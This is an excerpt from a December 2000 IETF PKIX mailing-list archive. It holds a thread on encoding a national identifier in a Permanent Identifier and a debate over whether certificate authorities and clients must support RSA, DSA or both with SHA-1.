To: "Ietf-Pkix" <ietf-pkix@imc.org>
Cc: "Denis. Pinkas" <Denis.Pinkas@bull.net>, "Tom Gindin" <tgindin@us.ibm.com>
Subject:  Permanet identifier assignement
Date: Thu, 21 Dec 2000 16:02:40 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEEGCCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id LAA14902
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA27649

Is the id-at-dnQualifier attribute a suitable assignement for a single name
used for PI?

By example, think that a subject has a unique identifier like this :
"12523912-9" (my own :) ):

  Subject:
     C=CL, O=My org, OU = My unit, CN= Jhon Davis

  PI:

     assignerAuthority:i.e OID for authority in the domain
     identifier:
        OID.2.5.4.46 = '12523912-9'


regards

Juan Carlos


> -----Mensaje original-----
> De: Juan Carlos Pérez Aguayo [mailto:juancarlos.perez@acepta.com]
> Enviado el: Miércoles, 20 de Diciembre de 2000 17:38
> Para: Denis. Pinkas
> Asunto: Permanet identifier syntax
>
>
> From the the PI draft:
>
>    PermanentIdentifier ::=     SEQUENCE {
>            assignerAuthority        GeneralName OPTIONAL,
>            identifier               Name
>    }
>
>
> I my country, we have national unique identifiers like
> "12523912-9" (my own identifier) a PrintableString.
>
> Which is the RDN suitable for using for it identifier? Into
> CN,SerialNumber, GivenName...?
>
> Why need a RDN into identifier and not a single attribute?
>
> Regards
>
> Juan Carlos
>



From owner-ietf-pkix@imc.org  Thu Dec 21 14:39:36 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28409
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 14:39:35 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA17405;
	Thu, 21 Dec 2000 11:36:12 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 11:36:03 -0800
Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA17362
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:36:02 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA84398;
	Thu, 21 Dec 2000 14:38:29 -0500
Received: from d02ml237.somers.hqregion.ibm.com (d02ml237.sby.ibm.com [9.45.4.171])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id OAA112796;
	Thu, 21 Dec 2000 14:37:04 -0500
Importance: Normal
Subject: Re: Permanet identifier assignement
To: <juancarlos.perez@acepta.com>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>, "Denis. Pinkas" <Denis.Pinkas@bull.net>
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF54656813.BEA51127-ON852569BC.006B73E5@somers.hqregion.ibm.com>
From: "Tom Gindin" <tgindin@us.ibm.com>
Date: Thu, 21 Dec 2000 14:39:02 -0500
X-MIMETrack: Serialize by Router on D02ML237/02/M/IBM(Build V506_11152000 |November 15, 2000) at
 12/21/2000 02:39:15 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id LAA17363
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id LAA17405
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA28409


     There was a lengthy discussion last year on which attribute to use in
such cases, involving many messages.  The decision made was to prefer the
use of X.520's serialNumber attribute over DNQualifier or any possible new
attribute for this purpose (DNQualifier was the only standard attribute
frequently suggested as a possible alternative).  The message recording the
decision was http://www.imc.org/ietf-pkix/old-archive-99/msg03140.html.

          Tom Gindin

Juan Carlos Pérez Aguayo <juancarlos.perez@acepta.com> on 12/21/2000
03:02:40 PM

Please respond to <juancarlos.perez@acepta.com>

To:   "Ietf-Pkix" <ietf-pkix@imc.org>
cc:   "Denis. Pinkas" <Denis.Pinkas@bull.net>, Tom Gindin/Watson/IBM@IBMUS
Subject:  Permanet identifier assignement



Is the id-at-dnQualifier attribute a suitable assignement for a single name
used for PI?

By example, think that a subject has a unique identifier like this :
"12523912-9" (my own :) ):

  Subject:
     C=CL, O=My org, OU = My unit, CN= Jhon Davis

  PI:

     assignerAuthority:i.e OID for authority in the domain
     identifier:
        OID.2.5.4.46 = '12523912-9'


regards

Juan Carlos


> -----Mensaje original-----
> De: Juan Carlos Pérez Aguayo [mailto:juancarlos.perez@acepta.com]
> Enviado el: Miércoles, 20 de Diciembre de 2000 17:38
> Para: Denis. Pinkas
> Asunto: Permanet identifier syntax
>
>
> From the the PI draft:
>
>    PermanentIdentifier ::=     SEQUENCE {
>            assignerAuthority        GeneralName OPTIONAL,
>            identifier               Name
>    }
>
>
> I my country, we have national unique identifiers like
> "12523912-9" (my own identifier) a PrintableString.
>
> Which is the RDN suitable for using for it identifier? Into
> CN,SerialNumber, GivenName...?
>
> Why need a RDN into identifier and not a single attribute?
>
> Regards
>
> Juan Carlos
>






From owner-ietf-pkix@imc.org  Thu Dec 21 14:43:06 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28528
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 14:43:06 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA17875;
	Thu, 21 Dec 2000 11:39:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 11:39:41 -0800
Received: from mail.rdc1.wa.home.com (imail@ha1.rdc1.wa.home.com [24.0.2.66])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA17834
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:39:40 -0800 (PST)
Received: from revelation ([65.4.166.11]) by mail.rdc1.wa.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001221194303.FREV4566.mail.rdc1.wa.home.com@revelation>;
          Thu, 21 Dec 2000 11:43:03 -0800
Reply-To: <jimsch@exmsft.com>
From: "Jim Schaad" <jimsch5@home.com>
To: "'Ambarish Malpani'" <ambarish@valicert.com>,
        "'Russ Housley'" <housley@spyrus.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 11:41:50 -0800
Message-ID: <000001c06b86$10bd1230$1500a8c0@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <613B3C619C9AD4118C4E00B0D03E7C3E6EBCE8@exchange.valicert.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Russ's posting takes care of the problem that I had with not MUST.

Ambarish,
What was said is that both RSA and DSA are the MUST for clients.  I have no
problems with this myself.

jim

-----Original Message-----
From: Ambarish Malpani [mailto:ambarish@valicert.com]
Sent: Thursday, December 21, 2000 10:12 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates



Hi Russ,
    Shouldn't RSA be the MUST.

What SAAG didn't conclude on was whether DSA should also be a MUST.
While I don't have a strong opinion on that, I think DSA should
just be a MAY, so that CAs who have clients who demand DSA can
implement it, while those who don't, don't need to, just to be
compliant.

The way you posted the mail, it should like neither DSA nor RSA are
a must, but (DSA or RSA) is a MUST.


A

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Russ Housley [mailto:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 9:06 AM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
>
> As everyone who was at the meeting in San Diego knows, this
> posting lead to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based
> on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least
> one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional
> algorithms that they
> wish.
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and
> CRLs with any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft
> (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
> >I remembered that I did have one problem with the draft.  I
> think that it is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs
> to have some
> >MUST style statements contained in it.  I propose adding the
> following text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2
> RSA signatures
> >for validation but MUST NOT create new certificates using
> this algorithm.
> >Implementations MAY support all other algorithms in this
> document at their
> >discretion.
> >
> >jim schaad
>



From owner-ietf-pkix@imc.org  Thu Dec 21 14:49:54 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28634
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 14:49:53 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA18652;
	Thu, 21 Dec 2000 11:46:31 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 11:46:28 -0800
Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA18608
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:46:23 -0800 (PST)
Received: from CC787228-A ([24.180.131.6]) by femail7.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001221194945.RYTX16755.femail7.sdc1.sfba.home.com@CC787228-A>;
          Thu, 21 Dec 2000 11:49:45 -0800
Received: by localhost with Microsoft MAPI; Thu, 21 Dec 2000 14:52:25 -0500
Message-ID: <01C06B5D.A1859270.aarsenault@dvnet.com>
From: Al Arsenault <aarsenault@dvnet.com>
To: "'Russ Housley'" <housley@spyrus.com>,
        "ietf-pkix@imc.org"
	 <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 14:52:23 -0500
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 87 TEXT
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those 
particular discussions, this proposal seems backward to me.  It seems to 
put the complexity (specifically, support for multiple algorithms) on the 
client, vice the server.  Generally, I prefer to see the complexity put on 
the server, and let the clients be simpler.  (This is in line with certain 
other standards bodies/industry fora, which mandate/recommend/whatever that 
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever 
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on certificates and 
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to sign CRLs 
if they support OCSP instead; do certificate users have to be able to 
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and others' 
earlier postings about whether DSA should really be a MUST since almost 
nobody uses it, my personal believe is that DSA should be a MUST just in 
case there are any backward compatibility issues that might come up.  If 
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less 
than a MUST, then of course the requirements above reduce to "CAs and 
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to 
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they 
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any 
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) 
again,
>I remembered that I did have one problem with the draft.  I think that it 
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following 
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



From owner-ietf-pkix@imc.org  Thu Dec 21 14:56:51 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28896
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 14:56:50 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA19216;
	Thu, 21 Dec 2000 11:53:27 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 11:53:25 -0800
Received: from mail.rdc1.wa.home.com (imail@ha1.rdc1.wa.home.com [24.0.2.66])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA19183
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:53:24 -0800 (PST)
Received: from revelation ([65.4.166.11]) by mail.rdc1.wa.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001221195647.FRSE4566.mail.rdc1.wa.home.com@revelation>;
          Thu, 21 Dec 2000 11:56:47 -0800
Reply-To: <jimsch@exmsft.com>
From: "Jim Schaad" <jimsch5@home.com>
To: "'Al Arsenault'" <aarsenault@dvnet.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 11:55:33 -0800
Message-ID: <000101c06b87$fbaa68a0$1500a8c0@soaringhawk.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <01C06B5D.A1859270.aarsenault@dvnet.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

OK Al,

If we go with your proposal, your client validates RSA with SHA-1 and my CA
generates DSA with SHA-1.  We are in the situtation of no interop.

If we uses the rules stated in the posting by Russ, we always have interop.

jim

-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 11:52 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those
particular discussions, this proposal seems backward to me.  It seems to
put the complexity (specifically, support for multiple algorithms) on the
client, vice the server.  Generally, I prefer to see the complexity put on
the server, and let the clients be simpler.  (This is in line with certain
other standards bodies/industry fora, which mandate/recommend/whatever that
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on certificates and
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to sign CRLs
if they support OCSP instead; do certificate users have to be able to
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and others'
earlier postings about whether DSA should really be a MUST since almost
nobody uses it, my personal believe is that DSA should be a MUST just in
case there are any backward compatibility issues that might come up.  If
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less
than a MUST, then of course the requirements above reduce to "CAs and
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
again,
>I remembered that I did have one problem with the draft.  I think that it
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad




From owner-ietf-pkix@imc.org  Thu Dec 21 15:13:25 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA29293
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 15:13:25 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA19699;
	Thu, 21 Dec 2000 12:10:01 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 12:09:44 -0800
Received: from dvnet8.dvnet.com ([209.121.31.8])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA19661
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:09:43 -0800 (PST)
Received: from CC787228A (cc787228-a.hwrd1.md.home.com [24.180.131.6]) by dvnet8.dvnet.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id Z20RTP1S; Thu, 21 Dec 2000 15:14:43 -0500
Message-ID: <077001c06b8a$b82d76a0$7401a8c0@CC787228A>
From: "Al Arsenault" <aarsenault@dvnet.com>
To: <jimsch@exmsft.com>, <ietf-pkix@imc.org>
References: <000101c06b87$fbaa68a0$1500a8c0@soaringhawk.net>
Subject: Re: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 15:15:10 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

OK, I get it now. The fact that the CA CAN sign with RSA doesn't mean that
it will, and of course the client can't tell the CA in advance "I'm gonna
need a cert with this signature algorithm, so be sure to use it."

That makes sense.  :-)

To be honest - I was thinking in terms of a registration scenario, where the
subject could tell the CA through some means that "I can only verify RSA, so
make sure you use that" and the CA could use whatever alg was requested.
That's what I get for not thinking about the more general case.

I'm still not happy with the client having to support multiple algorithms,
though, so I work with a number of clients that don't support multiple
algorithms and likely never will.  It might be easier then to only mandate
RSA, and let everything else be a SHOULD or MAY.

            Al Arsenault
            Chief Security Architect
            Diversinet Corp.


----- Original Message -----
From: Jim Schaad <jimsch5@home.com>
To: 'Al Arsenault' <aarsenault@dvnet.com>; <ietf-pkix@imc.org>
Sent: Thursday, December 21, 2000 2:55 PM
Subject: RE: Required Algorithms for Certificates


> OK Al,
>
> If we go with your proposal, your client validates RSA with SHA-1 and my
> CA
> generates DSA with SHA-1.  We are in the situtation of no interop.
>
> If we uses the rules stated in the posting by Russ, we always have
> interop.
>
> jim
>
> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 11:52 AM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
>
>
> Russ, et alia,
>
> While I wasn't in San Diego and thus I'm not up to speed on
> those
> particular discussions, this proposal seems backward to me.  It seems to
> put the complexity (specifically, support for multiple algorithms) on
> the
> client, vice the server.  Generally, I prefer to see the complexity put
> on
> the server, and let the clients be simpler.  (This is in line with
> certain
> other standards bodies/industry fora, which mandate/recommend/whatever
> that
> CAs support all of RSA, DSA, and ECDSA, and let clients support
> whichever
> one they want.)
>
> So my recommendation would be that:
>
> CAs MUST be able to sign certificates and CRLs with all of the
> following:
>
> RSA with SHA-1, and
> DSA with SHA-1
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with at least one of the following:
>
> RSA with SHA-1, or
> DSA with SHA-1.
>
> (This of course begs a number of questions, like: do CAs have to
> sign CRLs
> if they support OCSP instead; do certificate users have to be able to
> process CRLs if they instead rely on OCSP?, etc.)
>
> In response to Ambarish's posting, and to Bob Jeunemann's and
> others'
> earlier postings about whether DSA should really be a MUST since almost
> nobody uses it, my personal believe is that DSA should be a MUST just in
> case there are any backward compatibility issues that might come up.  If
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes
> less
> than a MUST, then of course the requirements above reduce to "CAs and
> clients MUST support RSA with SHA-1", with appropriate wording for DSA.
>
> Al Arsenault
> Chief Security Architect
> Diversinet Corp.
>
>
>
> -----Original Message-----
> From: Russ Housley [SMTP:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 12:06 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
> As everyone who was at the meeting in San Diego knows, this posting lead
> to
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
> discussions, I suggest a possible way forward for son-of-rfc2459.
>
> CAs MUST be able to sign certificates and CRLs with at least one of the
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
>
> CAs MAY sign certificates and CRLs with any additional algorithms that
> they
> wish.
>
> Certificate users MUST be able to validate signatures on certificates
> and
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
>
> Certificate users MAY validate signatures on certificates and CRLs with
> any
> additional algorithms that they wish.
>
> Russ
>
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
> again,
> >I remembered that I did have one problem with the draft.  I think that
> it
> is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs to have
> some
> >MUST style statements contained in it.  I propose adding the following
> text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 RSA
> signatures
> >for validation but MUST NOT create new certificates using this
> algorithm.
> >Implementations MAY support all other algorithms in this document at
> their
> >discretion.
> >
> >jim schaad
>



From owner-ietf-pkix@imc.org  Thu Dec 21 15:38:06 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA29960
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 15:38:05 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA21368;
	Thu, 21 Dec 2000 12:34:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 12:34:40 -0800
Received: from geos.coastside.net (geos.coastside.net [207.213.212.4])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA21325
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 12:34:39 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52])
	by geos.coastside.net (8.11.0/8.11.1) with SMTP id eBLKboP09017;
	Thu, 21 Dec 2000 12:37:50 -0800 (PST)
From: "Michael Myers" <myers@coastside.net>
To: "Al Arsenault" <aarsenault@dvnet.com>, <jimsch@exmsft.com>,
        <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 12:41:43 -0800
Message-ID: <MABBLIPCLMIBCAMBOADOKECLCAAA.myers@coastside.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <077001c06b8a$b82d76a0$7401a8c0@CC787228A>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

I agree with Al.  My vote is lock down RSA as a SHALL, DSA as a SHOULD and
others as a MAY.

Mike



-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 12:15 PM
To: jimsch@exmsft.com; ietf-pkix@imc.org
Subject: Re: Required Algorithms for Certificates


OK, I get it now. The fact that the CA CAN sign with RSA doesn't mean that
it will, and of course the client can't tell the CA in advance "I'm gonna
need a cert with this signature algorithm, so be sure to use it."

That makes sense.  :-)

To be honest - I was thinking in terms of a registration scenario, where the
subject could tell the CA through some means that "I can only verify RSA, so
make sure you use that" and the CA could use whatever alg was requested.
That's what I get for not thinking about the more general case.

I'm still not happy with the client having to support multiple algorithms,
though, so I work with a number of clients that don't support multiple
algorithms and likely never will.  It might be easier then to only mandate
RSA, and let everything else be a SHOULD or MAY.

            Al Arsenault
            Chief Security Architect
            Diversinet Corp.


----- Original Message -----
From: Jim Schaad <jimsch5@home.com>
To: 'Al Arsenault' <aarsenault@dvnet.com>; <ietf-pkix@imc.org>
Sent: Thursday, December 21, 2000 2:55 PM
Subject: RE: Required Algorithms for Certificates


> OK Al,
>
> If we go with your proposal, your client validates RSA with SHA-1 and my
> CA
> generates DSA with SHA-1.  We are in the situtation of no interop.
>
> If we uses the rules stated in the posting by Russ, we always have
> interop.
>
> jim
>
> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 11:52 AM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
>
>
> Russ, et alia,
>
> While I wasn't in San Diego and thus I'm not up to speed on
> those
> particular discussions, this proposal seems backward to me.  It seems to
> put the complexity (specifically, support for multiple algorithms) on
> the
> client, vice the server.  Generally, I prefer to see the complexity put
> on
> the server, and let the clients be simpler.  (This is in line with
> certain
> other standards bodies/industry fora, which mandate/recommend/whatever
> that
> CAs support all of RSA, DSA, and ECDSA, and let clients support
> whichever
> one they want.)
>
> So my recommendation would be that:
>
> CAs MUST be able to sign certificates and CRLs with all of the
> following:
>
> RSA with SHA-1, and
> DSA with SHA-1
>
> Certificate users MUST be able to validate signatures on
> certificates and
> CRLs with at least one of the following:
>
> RSA with SHA-1, or
> DSA with SHA-1.
>
